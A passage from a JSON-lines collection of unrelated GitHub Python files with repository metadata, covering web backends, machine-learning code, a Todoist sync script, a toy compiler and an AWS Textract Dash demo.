classroom_mongo.unenroll_from_user(classroom_uid = classroom_uid, user_id = user[\"uid\"])\n ### remove from user enrolled array\n\n ### remove from mongo enrolled\n return True\n\n\nasync def delete_classroom(classroom_uid):\n\n ''' delete from mongo '''\n ### delete forums\n await forum_controllers.delete_forum(classroom_uid)\n ### delete dropbox\n await storage_controllers.delete_classroom_folder(classroom_uid)\n ### delete attendance\n await attendance_controllers.delete_classroom_attendance(classroom_uid)\n ### delete lectures\n await lecture_controllers.delete_classroom_lectures(classroom_uid)\n ### unenroll students\n await unenroll_classroom_students(classroom_uid)\n ### delete classroom enrolled\n await classroom_mongo.delete_classroom_enrolled(classroom_uid)\n \n '''delete from pg '''\n ### delete from classroom model\n classroom = await classroom_model.get_classroom_by_uid(classroom_uid)\n await classroom_model.delete_classroom(classroom)\n\n return True\n\n\nasync def get_total_classroom_count():\n return await classroom_model.get_total_classroom_count()","repo_name":"jaisal1311/fastapi-dev","sub_path":"classrooms/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":9693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13742387426","text":"import cv2\n\ndef ImageEnhancement(image):\n \"\"\"\n It divides the normalized image into 32 by 32 grids and equalizes the histogram of each grid.\n\n :param image: normalized iris image\n :return: enhance image by histogram equalization\n \"\"\"\n\n enhanced = image.copy()\n block = 32\n for i in range(2):\n for j in range(16):\n # Define each 32 by 32 grid iteratively\n height = i*block\n width = j*block\n grid = enhanced[height:height+block, width:width+block]\n enhanced[height:height+block, width:width+block] = cv2.equalizeHist(grid)\n\n return enhanced\n\n#from ImageEnhancement import ImageEnhancement","repo_name":"hhxx-yu/ML-Graph","sub_path":"IrisRecognition/ImageEnhancement.py","file_name":"ImageEnhancement.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1964343","text":"import json\nimport re\nfrom datetime import datetime,date,timedelta\nimport requests\n\ndef getYearString():\n\tx = datetime.today()\n\ty = x.strftime(\"%Y\")\n\treturn y\n\n'''with open('date-holidays.txt','r') as f: \n\t\tdate = f.readlines()\n\ndataform = re.compile(r'\"date\":\"[0-9]{4}-[0-9]{2}-[0-9]{2}\",\"year\":[0-9]{4},\"month\":[0-9]{1,2},\"day\":[0-9]{1,2},\"status\":[0-9]{1}', re.I)\ndatelist =[]\n\nfor t in date:\n\tdatelist += dataform.findall(t)\nprint(datelist)'''\n\nyear = str(input('输入需要获取节假日的年份: '))\nr = requests.get('http://api.haoshenqi.top/holiday?date=%s' %year)\nwith open('ordinry-holidaydate%s.json'%year,'w') as f:\n f.write(r.content.decode('utf-8'))\n f.close\n\n\n'''with open('date-holidays.json', 'r') as openfile:\n\tpublicHolidayList = json.load(openfile)\nwith open('ordinry-holidaydate%s.json'%year,'r') as fi:\n publicHolidayList = json.load(fi)\n fi.close'''\n\npublicHolidayList = eval(r.content.decode('utf-8'))\nprint(publicHolidayList)\nprint(type(publicHolidayList))\n\n \npublicHoliday =[]\nfor item in publicHolidayList:\n\tprint(item)\n\tif item['status'] >= 2:\n\t\t#print(type(item['status']))\n\t\tpublicHoliday.append(item)\n\nprint('\\n\\n')\n\nfor item in publicHoliday:\n\t#print(type(item['status']))\n\tprint(item)\n\nwith open('publicHoliday%s.json'%year, 'w') as fj:\n\tjson.dump(publicHoliday , fj)\n\tfj.close\n\n\t\n","repo_name":"xecotykew/xxnn-checkin-python","sub_path":"findall.py","file_name":"findall.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27105430492","text":"import numpy as np\nimport math\n\n\ndef sigmoid(w, x):\n p = 1/(1 + np.exp(-np.dot(w, x)))\n # np.dot should return the same result as w.T * x, but can work properly on arrays\n return p\n\n\ndef l(y, x, w):\n if y == 1:\n return -np.log(sigmoid(w, x))\n else:\n return -np.log(1 - sigmoid(w, x))\n\n\ndef L(Y, X, w):\n to_return = 0\n for i in range(len(Y)):\n to_return += l(Y[i], X[i], w)\n return to_return\n\n\ndef predict_accuracy(w, X, Y):\n correct = 0\n for i in range(len(Y)):\n prediction = sigmoid(w,X[i])\n if ((prediction > 0.5) and (Y[i]==1)) or ((prediction < 0.5) and (Y[i]==0)):\n correct += 1\n return correct/len(Y)\n\nclass Log_Reg(object):\n def __init__(self, X, Y, con_key, lr, thresh, lamb=0):\n self.w = np.zeros(len(X[0]))\n self.thresh = thresh\n self.iter = 0\n self.norm = float(\"inf\")\n self.obj = float(\"inf\")\n self.obj_ch = float(\"inf\")\n while not self.converge(con_key):\n d = np.zeros(len(X[0]))\n for i in range(len(Y)):\n y_hat_i = sigmoid(self.w, X[i])\n error = Y[i] - y_hat_i\n d = d + error * X[i]\n self.w += lr * d - lr * lamb * self.w\n self.iter += 1\n self.obj_prev = self.obj\n self.obj = L(Y, X, self.w)\n# print(self.obj)\n self.accuracy = predict_accuracy(self.w, X, Y)\n self.obj_ch = abs(self.obj - self.obj_prev)\n self.norm = np.linalg.norm(-d)\n\n # print('done')\n\n def converge(self, key):\n return{\n 'objective': self.obj_ch <= self.thresh,\n 'gradient': self.norm <= self.thresh,\n 'iteration': self.iter >= self.thresh\n }[key]\n\n\n def predict(self,x):\n return sigmoid(self.w,x)\n\n\n def another_batch(self, X, Y, lr):\n d = np.zeros(len(X[0]))\n for i in range(len(Y)):\n y_hat_i = sigmoid(self.w, X[i])\n error = Y[i] - y_hat_i\n d = d + error * X[i]\n self.w += lr * d\n self.iter += 1\n self.obj_prev = self.obj\n self.obj = L(Y, X, self.w)\n # print(self.obj)\n self.accuracy = predict_accuracy(self.w, X, Y)\n self.obj_ch = abs(self.obj - self.obj_prev)\n self.norm = np.linalg.norm(d)\n","repo_name":"markuswoltjer/CS434","sub_path":"HW2/src/log_reg2.py","file_name":"log_reg2.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14932142147","text":"#!/usr/bin/env python\n\nimport logging\n\nimport click\nfrom todoist.api import TodoistAPI\nimport yaml\n\nfrom todoist_utils import get_api_token, get_project_id\n\n\n# priority should always be 4\n# indent should always be 1\n# author should always be David (41563)\n# responsible should always be empty\n# date_lang should always be en\n# timezone should always be America/New_York\n\n\n@click.command()\n@click.option('--project', 'project_name', required=True)\n@click.option('--source', 'source_filename', required=True)\n@click.option('--dry-run/--wet-run', 'dry_run', default=False)\n@click.option('--loglevel', type=click.Choice(['debug', 'info', 'warning', 'error', 'critical']), default='warning')\ndef sync(project_name, source_filename, dry_run, loglevel):\n logging.basicConfig(level=getattr(logging, loglevel.upper()))\n\n api = TodoistAPI(get_api_token())\n api.sync()\n\n project_id = get_project_id(api, project_name)\n\n project_items = {}\n for item in api.state['items']:\n if item['project_id'] != project_id:\n continue\n try:\n in_history = item['in_history']\n except KeyError:\n continue\n if in_history == 1:\n continue\n project_items[item['content']] = item\n\n logging.debug('project_items = {!r}'.format(project_items))\n\n project_notes = {}\n for note in api.state['notes']:\n if note['project_id'] != project_id or note['is_archived'] == 1:\n continue\n if note['item_id'] in project_notes:\n project_notes[note['item_id']].append(note)\n else:\n project_notes[note['item_id']] = [note]\n logging.debug('project_notes = {!r}'.format(project_notes))\n\n labels = {label['name']: label['id'] for label in api.state['labels']}\n logging.debug('labels = {}'.format(labels))\n\n source_model = yaml.load(open(source_filename, 'r'))\n\n logging.debug('source_model = {!r}'.format(source_model))\n\n api_model = []\n i = 0\n for source_item in source_model:\n i += 1\n if source_item['content'] in project_items:\n api_item = project_items[source_item['content']]\n del project_items[source_item['content']]\n elif source_item.get('prev_content') in project_items:\n api_item = project_items[source_item['prev_content']]\n del project_items[source_item['prev_content']]\n logging.debug('prev_content → content: {} → {}'.format(source_item['prev_content'], source_item['content']))\n if not dry_run:\n api_item.update(content=source_item['content'])\n else:\n logging.debug('add: {}'.format(source_item['content']))\n if dry_run:\n api_item = source_item['content']\n else:\n api_item = api.items.add(content=source_item['content'], project_id=project_id)\n\n source_label_ids = [labels[name] for name in source_item.get('labels', [])]\n\n if source_item['date'] != api_item['date_string']:\n logging.debug('update date string: {}: {}'.format(api_item, source_item['date']))\n if not dry_run:\n api_item.update(date_string=source_item['date'])\n\n if i != api_item['item_order']:\n logging.debug('update item order: {}: {}'.format(api_item, i))\n if not dry_run:\n api_item.update(item_order=i)\n\n logging.debug('update labels: {}: {}'.format(api_item, source_label_ids))\n if not dry_run:\n api_item.update(labels=source_label_ids)\n\n source_notes = source_item.get('notes', [])\n api_notes = project_notes.get(api_item['id'], [])\n logging.debug('source notes = {}'.format(source_notes))\n logging.debug('api notes = {}'.format(api_notes))\n for i in range(0, max(len(source_notes), len(api_notes))):\n if len(source_notes) <= i:\n logging.debug('delete note: {}'.format(api_notes[i]))\n if not dry_run:\n api_notes[i].delete()\n elif len(api_notes) <= i:\n logging.debug('add note: {}'.format(source_notes[i]))\n if not dry_run:\n api.notes.add(api_item['id'], source_notes[i])\n else:\n if api_notes[i]['content'].strip() != source_notes[i].strip():\n logging.debug('update note: {} → {}'.format(api_notes[i]['content'], source_notes[i]))\n if not dry_run:\n api_notes[i].update(content=source_notes[i])\n\n for api_item in project_items.values():\n logging.debug('delete: {}'.format(api_item))\n if not dry_run:\n api_item.delete()\n if not dry_run:\n api.commit()\n\n\nif __name__ == '__main__':\n sync()\n","repo_name":"dljessup/todoist-utils","sub_path":"sync.py","file_name":"sync.py","file_ext":"py","file_size_in_byte":4778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4503574361","text":"from re import split\nfrom symbol import sym_to_str, Symbol\n\nclass Variable:\n def __init__(self, name, addr, scope):\n self.name = name\n self.address = addr\n self.scope = scope\n \n def __repr__(self):\n return \"<\" + self.name + \"|\" + self.scope + \" at \" + str(self.address) + \">\"\n\nclass Robot:\n def __init__(self):\n self.bytecode = []\n self.memcode = []\n self.vartable = {}\n\n self.operators = ['+', '-', '*', '/', '^', '<', '>', '==']\n self.jump_flags = []\n self.loop_starts = []\n\n def vardec(self, stack, scope):\n name = stack[0]\n val = stack[2]\n \n addr = len(self.vartable)\n self.vartable[name.value] = Variable(name.value, addr, scope)\n \n self.bytecode.append(0x1000_0000 + int(val.value))\n self.bytecode.append(0x2200_0000 + addr)\n \n\n def varassign(self, stack):\n \n varsym = stack[0]\n\n var = self.find_variable(varsym.value)\n symexpression = stack[2:]\n if symexpression[-1] == ';':\n symexpression.pop()\n expression = list(map(lambda x: sym_to_str(x), symexpression))\n ordered_exp = self.order_expression(expression)\n print(ordered_exp) \n\n self.evaluate_expression(ordered_exp)\n self.bytecode.append(0x2400_0000 + var.address)\n\n def jump_here(self, offset=0):\n '''\n Used to keep track of where the program should jump to in case of if statements\n '''\n jump_to_loc = len(self.bytecode)-1\n jump_word_loc = self.jump_flags.pop()\n self.bytecode[jump_word_loc] = self.bytecode[jump_word_loc] + jump_to_loc + offset\n \n def end_while(self):\n self.bytecode.append(0x3000_0000 + self.loop_starts.pop())\n self.jump_here(offset=1)\n \n def ifstatement(self, stack):\n print(\"IF: \", stack)\n exp = stack[1:-1]\n print(exp)\n orderedexp = self.order_expression(exp)\n self.evaluate_expression(orderedexp)\n\n self.bytecode.append(0x3100_0000) # jump zero\n self.jump_flags.append(len(self.bytecode)-1) # keeping track of where to jump to later\n \n def while_loop(self, stack):\n print(\"WHILE\", stack)\n\n while_start = len(self.bytecode)\n self.loop_starts.append(while_start)\n\n exp = stack[1:-1]\n orderedexp = self.order_expression(exp)\n self.evaluate_expression(orderedexp)\n\n \n self.bytecode.append(0x3100_0000) # jump zero\n self.jump_flags.append(len(self.bytecode)-1) # keeping track of where to jump to later\n\n def evaluate_expression(self, ex):\n if len(ex) == 0:\n return\n\n stack = []\n\n for token in ex:\n if token in self.operators:\n op2 = stack.pop()\n op1 = stack.pop()\n res = self.evaluate_subexp(token, op1, op2)\n stack.append(res)\n else:\n stack.append(token)\n \n self.bytecode.pop()\n return stack.pop()\n \n def evaluate_subexp(self, operator, op1, op2):\n print(op1, operator, op2)\n op2var = self.find_variable(op2)\n if op2var != None:\n self.bytecode.append(0x2300_0000 + op2var.address)\n self.bytecode.append(0x2000_0000)\n elif op2 != 'stack':\n self.bytecode.append(0x1000_0000 + self.to_int(op2))\n self.bytecode.append(0x2000_0000)\n\n op1var = self.find_variable(op1)\n if op1var != None:\n self.bytecode.append(0x2300_0000 + op1var.address)\n elif op1 != 'stack':\n self.bytecode.append(0x1000_0000 + self.to_int(op1))\n elif op1 == 'stack':\n self.bytecode.append(0x2100_0000)\n \n if operator == '+':\n self.bytecode.append(0x5000_0000)\n elif operator == '*':\n self.bytecode.append(0x5100_0000)\n elif operator == '-':\n self.bytecode.append(0x5200_0000)\n elif operator == '/':\n self.bytecode.append(0x5300_0000)\n elif operator == '==':\n self.bytecode.append(0x5400_0000)\n elif operator == '<':\n self.bytecode.append(0x5500_0000)\n elif operator == '>':\n self.bytecode.append(0x5600_0000)\n self.bytecode.append(0x2000_0000)\n\n return 'stack'\n \n def find_variable(self, name):\n if isinstance(name, Symbol):\n name = name.value\n try:\n var = self.vartable[name]\n return var\n except:\n return None\n\n def order_expression(self, ex):\n \"\"\"\n Converts an expression sequence into Reverse Polish Notation for easier conversion to bytecode.\n Using the Shunting-yard algorithm\n \"\"\"\n stack = []\n output = []\n i = 0\n while i < len(ex):\n token = ex[i]\n if not token in self.operators and token != '(' and token != ')':\n output.append(token)\n elif token in self.operators :\n if len(stack) > 0:\n o2 = stack[-1]\n while o2 != '(' and (prec(token) <= prec(o2) and token != '^'):\n if len(stack) > 0:\n op = stack.pop()\n output.append(op)\n o2 = -1 if len(stack) == 0 else stack[-1]\n else:\n break\n\n stack.append(token)\n elif token == '(':\n stack.append(token)\n elif token == ')':\n o2 = stack[-1]\n while o2 != '(':\n op = stack.pop()\n output.append(op)\n o2 = stack[-1]\n stack.pop()\n i += 1 \n while len(stack) > 0:\n op = stack.pop()\n output.append(op)\n return output\n\n def to_int(self, sym):\n if isinstance(sym, Symbol):\n return int(sym.value)\n else:\n return int(sym)\n\n def output(self):\n return self.bytecode + [0xF000_0000, 0xFF000000] + self.memcode\n \n def output_as_bytes(self):\n o = self.output()\n byteout = []\n for word in o:\n byteout.append( (word>>24) & 0xFF )\n byteout.append( (word>>16) & 0xFF )\n byteout.append( (word>>8) & 0xFF )\n byteout.append( word & 0xFF )\n return byteout\n \n def write_to_file(self, name, bytes):\n f = open(name, 'wb')\n f.write(bytearray(bytes))\n f.close()\n\ndef prec(token):\n if token == '^':\n return 4\n elif token == '*' or token == '/':\n return 3\n elif token == '+' or token == '-':\n return 2\n else:\n return -1","repo_name":"mattjk00/VinoInterpreter","sub_path":"robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":6856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7593612329","text":"import os\nimport random\nimport h5py\nimport numpy as np\nimport torch\nfrom scipy import ndimage\nfrom scipy.ndimage import zoom\nfrom torch.utils.data import Dataset\n\ndef random_crop(image, label):\n output_size = [256, 256]\n if label.shape[0] <= output_size[0] or label.shape[1] <= output_size[1]:\n pw = max((output_size[0] - label.shape[0]) // 2 + 3, 0)\n ph = max((output_size[1] - label.shape[1]) // 2 + 3, 0)\n image = np.pad(image, [(pw, pw), (ph, ph)], mode='constant', constant_values=0)\n label = np.pad(label, [(pw, pw), (ph, ph),], mode='constant', constant_values=0)\n\n (w, h) = image.shape\n\n w1 = int(round((w - output_size[0]) / 2.))\n h1 = int(round((h - output_size[1]) / 2.))\n\n label = label[w1:w1 + output_size[0], h1:h1 + output_size[1]]\n image = image[w1:w1 + output_size[0], h1:h1 + output_size[1]]\n return image, label\n\n\ndef random_rot_flip(image, label):\n k = np.random.randint(0, 4)\n image = np.rot90(image, k)\n label = np.rot90(label, k)\n axis = np.random.randint(0, 2)\n image = np.flip(image, axis=axis).copy()\n label = np.flip(label, axis=axis).copy()\n return image, label\n\n\ndef random_rotate(image, label):\n angle = np.random.randint(-20, 20)\n image = ndimage.rotate(image, angle, order=0, reshape=False)\n label = ndimage.rotate(label, angle, order=0, reshape=False)\n return image, label\n\n\nclass RandomGenerator(object):\n def __init__(self, output_size):\n self.output_size = output_size\n\n def __call__(self, sample):\n image, label = sample['image'], sample['label']\n\n if random.random() > 0.5:\n image, label = random_rot_flip(image, label)\n elif random.random() > 0.5:\n image, label = random_rotate(image, label)\n elif random.random() > 0.5:\n image, label = random_crop(image, label)\n x, y = image.shape\n if x != self.output_size[0] or y != self.output_size[1]:\n image = zoom(image, (self.output_size[0] / x, self.output_size[1] / y), order=3) # why not 3?\n label = zoom(label, (self.output_size[0] / x, self.output_size[1] / y), order=0)\n image = torch.from_numpy(image.astype(np.float32)).unsqueeze(0)\n label = torch.from_numpy(label.astype(np.float32))\n sample = {'image': image, 'label': label.long()}\n return sample\n\n\nclass Synapse_dataset(Dataset):\n def __init__(self, base_dir, list_dir, split, num=None, transform=None):\n self.transform = transform # using transform in torch!\n self.split = split\n if 'Lits' in list_dir:\n self.sample_list = open(os.path.join(list_dir, self.split+'_40.txt')).readlines()\n elif (split == \"test\" or split == 'val'):\n self.sample_list = open(os.path.join(list_dir, self.split+'_vol.txt')).readlines()\n else:\n self.sample_list = open(os.path.join(list_dir, self.split+'.txt')).readlines()\n self.data_dir = base_dir\n if num is not None and self.split == \"train\":\n self.sample_list = self.sample_list[:num]\n print(\"total {} samples\".format(len(self.sample_list)))\n\n def __len__(self):\n return len(self.sample_list)\n\n def __getitem__(self, idx):\n if self.split == \"train\":\n slice_name = self.sample_list[idx].strip('\\n')\n data_path = os.path.join(self.data_dir, slice_name+'.npz')\n # print(data_path)\n data = np.load(data_path)\n image, label = data['image'], data['label']\n else:\n vol_name = self.sample_list[idx].strip('\\n')\n filepath = self.data_dir + \"_40/{}.h5\".format(vol_name)\n data = h5py.File(filepath)\n image, label = data['image'][:], data['label'][:]\n\n sample = {'image': image, 'label': label}\n if self.transform:\n sample = self.transform(sample)\n sample['case_name'] = self.sample_list[idx].strip('\\n')\n return sample\n\nif __name__ == '__main__':\n dataset = Synapse_dataset(base_dir='/data/data/Synapse/data/Synapse/train_npz', \\\n list_dir='/data/data/Synapse/data/lists_Synapse', split='train')\n print(len(dataset)) # 2211","repo_name":"charlesyou999648/ARCO","sub_path":"code/dataloaders/dataset_synapse.py","file_name":"dataset_synapse.py","file_ext":"py","file_size_in_byte":4193,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"} +{"seq_id":"40294670125","text":"import limp.tokens as Tokens\nfrom limp.parsing.shared import *\n\n\ndef node(tokens):\n opener = Tokens.Types.OpenParenthesis\n closer = Tokens.Types.CloseParenthesis\n\n if not opens_and_closes(tokens, opener, closer):\n return\n\n if not balanced(tokens, opener, closer):\n return\n\n delimiter = _delimiter_position(tokens)\n if not delimiter:\n return\n\n argument_tokens = tokens[1:delimiter]\n if not _all_symbols(argument_tokens):\n return\n\n argument_trees, tokens_consumed = get_multiple_trees(argument_tokens)\n\n import limp.syntax_tree as SyntaxTree\n body_tokens = tokens[delimiter + 1:-1]\n body_node = SyntaxTree.get_node_for(body_tokens)\n\n tokens_consumed += body_node.tokens_consumed\n tokens_consumed += 3\n\n return Node((Types.Function, argument_trees, body_node.tree), tokens_consumed)\n\n\ndef _all_symbols(tokens):\n for token in tokens:\n if token.type_ != Tokens.Types.Symbol:\n return False\n return True\n\n\ndef _delimiter_position(tokens):\n for i, token in enumerate(tokens):\n if token.type_ == Tokens.Types.FunctionDelimiter:\n return i\n\n\n","repo_name":"byxor/limp","sub_path":"limp/parsing/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"7484627144","text":"import json\nfrom os import listdir\nfrom os.path import isfile, join\nfrom flask import Flask, render_template, request, redirect\n\n\napp = Flask(__name__)\napp.static_url_path = '/static'\n\n\n@app.route('/', methods=['GET'])\ndef HelloPage():\n page = \"\\n\\n\"\n page += \"

    Hello World

    \\n\"\n basic = \"{}\"\n mypath = 'static/images/'\n onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]\n print(onlyfiles)\n\n for f in onlyfiles:\n if f != '__init__.py':\n page += basic.format(\"/\" + mypath + f, f)\n page += \"\\n
    \"\n page += \"\\n\"\n\n print(page)\n\n return page\n\n\nif __name__ == '__main__':\n # Actual address: http://:5000\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"clemencegoh/SUTD_Networks_50.012","sub_path":"lab/temp/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16517507177","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"mysql_conn\"\"\"\n# @Time : 2019/10/29 21:45\n# @Author : Wind\n# @Des : 数据库连接类\n# @Software: PyCharm Python 3.7.2\nfrom test_pypi.py_lib_pymsql.config import mysql_cfg\nfrom base_kit.base_mysql import MysqlPython\nfrom test_pypi.py_lib_pymsql.config.tables import this_is_new_table\n\n# Mysql对象实例化\ntmp = MysqlPython(\n host=mysql_cfg.host,\n port=mysql_cfg.port,\n user=mysql_cfg.user,\n pwd=mysql_cfg.pwd,\n)\n\n# 连接Mysql服务器\ntmp.get_conn_info()\n\n# 打开已有数据库\ndb_name = 'my_py_sql'\ntmp.open_db(db_name)\n\n\n# 创建新库\n# db_name = 'this_is_new_db'\n# tmp.create_db(db_name)\n\n# 创建新表\n# db_name = 'this_is_new_db'\n# table_name = this_is_new_table\n# tmp.create_table(db_name, table_name)\n\n# 插入数据(增)\n# name = \"蜘蛛人\"\n# age = \"20\"\n# sql = \"insert into employee (name, age) values ('%s','%s')\" % (name, age)\n# tmp.exec_non_query(sql)\n\n# 修改数据(改)\n# name = '王小二'\n# sql = \"UPDATE employee SET name='%s' WHERE name='sdfsdfs';\" % name\n# tmp.exec_non_query(sql)\n\n# 删除数据(删)\n# sql = \"DELETE FROM employee WHERE name='hello';\"\n# tmp.exec_non_query(sql)\n\n# 数据查寻(查)\n# sql = 'select * from employee;'\n# result = tmp.exec_query(sql)\n# for i in result:\n# print(i)\n\n# 关闭表和库\ntmp.close()\n","repo_name":"windleafy/my_py_project","sub_path":"mytest/test_pypi/py_lib_pymsql/mysql_conn.py","file_name":"mysql_conn.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29255899957","text":"from maps.garden.sdk.core import Version\nfrom maps.garden.sdk.resources import FlagResource\nfrom maps.garden.sdk.utils import pickle_utils, get_full_class_path, KB\n\nfrom maps.garden.sdk.module_rpc.module_runner import ModuleProperties, process_protobuf_command\nfrom maps.garden.sdk.module_rpc.proto import module_rpc_pb2 as module_rpc\n\nfrom . import graph\n\n\ndef _make_command(task):\n command = module_rpc.Input()\n command.command = module_rpc.Input.Command.PREDICT_CONSUMPTION\n command.taskOperationInput.serializedTask = pickle_utils.dumps(task)\n\n plaque = FlagResource(name=graph.ANTIQUE_PLAQUE_RESOURCE_NAME)\n plaque.version = Version(\n properties={\n \"inscription\": \"instruction\"\n }\n )\n plaque.size = {\n \"bytes\": 31337\n }\n # WARN: workaround the fact that messages cannot be directly assigned into a map value\n command.taskOperationInput.demands.kwargs[\"plaque\"].CopyFrom(plaque.to_proto())\n\n flag = FlagResource(name=graph.CAPTURED_FLAG_RESOURCE_NAME)\n flag.version = Version(properties={})\n # WARN: workaround the fact that messages cannot be directly assigned into a map value\n command.taskOperationInput.creates.kwargs[\"flag\"].CopyFrom(flag.to_proto())\n\n return command\n\n\ndef test_predict_consumption():\n output = process_protobuf_command(\n _make_command(graph.CaptureTheFlagTask()),\n ModuleProperties(\n module_name=graph.MODULE_NAME,\n fill_graph=graph.fill_graph,\n )\n )\n\n assert output.result.tmpfs\n assert not output.result.portoLayer\n assert output.result.cpuCores == 31337\n assert output.result.ramBytes == 640 * KB\n assert output.result.operations == 1\n\n\ndef test_predict_consumption_with_exception():\n output = process_protobuf_command(\n _make_command(graph.ExceptionalTask()),\n ModuleProperties(\n module_name=graph.MODULE_NAME,\n fill_graph=graph.fill_graph,\n )\n )\n\n assert output.IsInitialized()\n assert not output.HasField(\"result\")\n assert output.HasField(\"exception\")\n\n assert output.exception.className == get_full_class_path(graph.ExceptionalException())\n assert output.exception.classParents == [get_full_class_path(cls) for cls in graph.ExceptionalException.__mro__[1:]]\n assert output.exception.what == \"Shine on You Crazy Diamond\"\n\n top_frame = output.exception.traceback[-1]\n assert top_frame.filename.endswith(\"graph.py\")\n assert top_frame.lineNumber > 0\n assert top_frame.functionName == \"predict_consumption\"\n assert top_frame.sourceCode == 'raise ExceptionalException(\"Shine on You Crazy Diamond\")'\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/test_proto_predict_consumption.py","file_name":"test_proto_predict_consumption.py","file_ext":"py","file_size_in_byte":2650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70078100882","text":"import base64\r\nimport io\r\nimport mimetypes\r\nimport dash\r\nimport boto3\r\nimport json\r\nimport dash_bootstrap_components as dbc\r\nfrom dash import dcc, html\r\nfrom dash.dependencies import Input, Output, State\r\nfrom PIL import Image, ImageDraw\r\nimport fitz\r\n\r\n\r\napp = dash.Dash(__name__, external_stylesheets=[dbc.themes.BOOTSTRAP], suppress_callback_exceptions=True)\r\n#\r\nclient = boto3.client('textract')\r\n# Load the S3 client\r\ns3 = boto3.client('s3')\r\n\r\n\r\ndef get_query_results(response):\r\n # Initialize an empty dictionary to store query results\r\n query_results = {}\r\n\r\n # Loop through each block in the response\r\n for block in response[\"Blocks\"]:\r\n # Check if the block is a QUERY block\r\n if block[\"BlockType\"] == \"QUERY\":\r\n # Get the query text and alias\r\n query_text = block[\"Query\"][\"Text\"]\r\n query_alias = block[\"Query\"][\"Alias\"]\r\n \r\n # Check if the block has any relationships\r\n if \"Relationships\" in block:\r\n # Loop through the block's relationships to find matching ANSWER blocks\r\n for relationship in block[\"Relationships\"]:\r\n if relationship[\"Type\"] == \"ANSWER\":\r\n # Loop through the ANSWER blocks to extract the text and confidence score\r\n for answer_id in relationship[\"Ids\"]:\r\n for answer_block in response[\"Blocks\"]:\r\n if answer_block[\"Id\"] == answer_id and answer_block[\"BlockType\"] == \"QUERY_RESULT\":\r\n query_results[query_alias] = {\"response\": answer_block[\"Text\"], \"confidence\": answer_block[\"Confidence\"]}\r\n break\r\n return query_results\r\n\r\n\r\ndef highlight_response_fields_pdf(response, pdf):\r\n # iterate through each block in the Textract response\r\n for block in response['Blocks']:\r\n # if the block is of type 'QUERY', extract the bounding box coordinates and draw a rectangle around the corresponding area in the PDF\r\n if block['BlockType'] == 'QUERY_RESULT' and 'Geometry' in block:\r\n bbox = block['Geometry']['BoundingBox']\r\n page = pdf[0]\r\n rect = fitz.Rect(bbox['Left'] * page.rect.width, bbox['Top'] * page.rect.height, (bbox['Left'] + bbox['Width']) * page.rect.width, (bbox['Top'] + bbox['Height']) * page.rect.height)\r\n print(rect)\r\n highlight = page.add_highlight_annot(rect)\r\n return pdf\r\n\r\ndef allowed_file(filename):\r\n return True\r\n\r\n\r\napp.layout = html.Div([\r\n dbc.Row([\r\n dbc.Col(\r\n html.Div([\r\n html.H1(\"Textract Demo\"),\r\n dcc.Upload(\r\n id='upload-data',\r\n children=html.Div([\r\n 'Drag and Drop or ',\r\n html.A('Select Files')\r\n ]),\r\n style={\r\n 'width': '60%',\r\n 'height': '60px',\r\n 'lineHeight': '60px',\r\n 'borderWidth': '1px',\r\n 'borderStyle': 'dashed',\r\n 'borderRadius': '5px',\r\n 'textAlign': 'center',\r\n 'margin': '10px'\r\n },\r\n multiple=False\r\n ),\r\n # Add this html.Div to display the name of the file(s) uploaded\r\n html.Div(id='upload-filename'),\r\n html.Br(),\r\n html.Button('Analyze', id='analyze-button', n_clicks=0),\r\n html.Br()\r\n ]),\r\n width=4\r\n ),\r\n ]),\r\n dbc.Row([ \r\n dbc.Col([\r\n html.Div(id='output-image')\r\n ]),\r\n dbc.Col([\r\n dcc.Textarea(\r\n id='textarea',\r\n value='''[\r\n {\r\n \"Text\": \"What is the dispatch from address?\",\r\n \"Alias\": \"PICKUP_ADDRESS\"\r\n },\r\n {\r\n \"Text\": \"What is the ship to address?\",\r\n \"Alias\": \"DELIVERY_ADDRESS\"\r\n },\r\n {\r\n \"Text\": \"What is the Bill of Lading ID?\",\r\n \"Alias\": \"BOL_ID\"\r\n },\r\n {\r\n \"Text\": \"What is the Bill To address?\",\r\n \"Alias\": \"BILL_TO\"\r\n },\r\n {\r\n \"Text\": \"What is the trailer ID?\",\r\n \"Alias\": \"TRAILER_ID\"\r\n },\r\n {\r\n \"Text\": \"What is the seal number?\",\r\n \"Alias\": \"SEAL_ID\"\r\n }\r\n ]''',\r\n style={'width': '50%', 'height': 800},\r\n )\r\n ])\r\n ], justify='center'),\r\n dcc.Store(id='file-state', data='')\r\n])\r\n\r\n\r\n\r\n\r\n\r\n\r\n@app.callback(Output('upload-filename', 'children'),\r\n Input('upload-data', 'filename'))\r\ndef update_upload_filename(filename):\r\n if filename is not None:\r\n return html.Span(filename, style={'fontWeight': 'bold'})\r\n \r\n\r\n\r\n@app.callback([Output('output-image', 'children'),\r\n Output('file-state', 'data')],\r\n [Input('analyze-button', 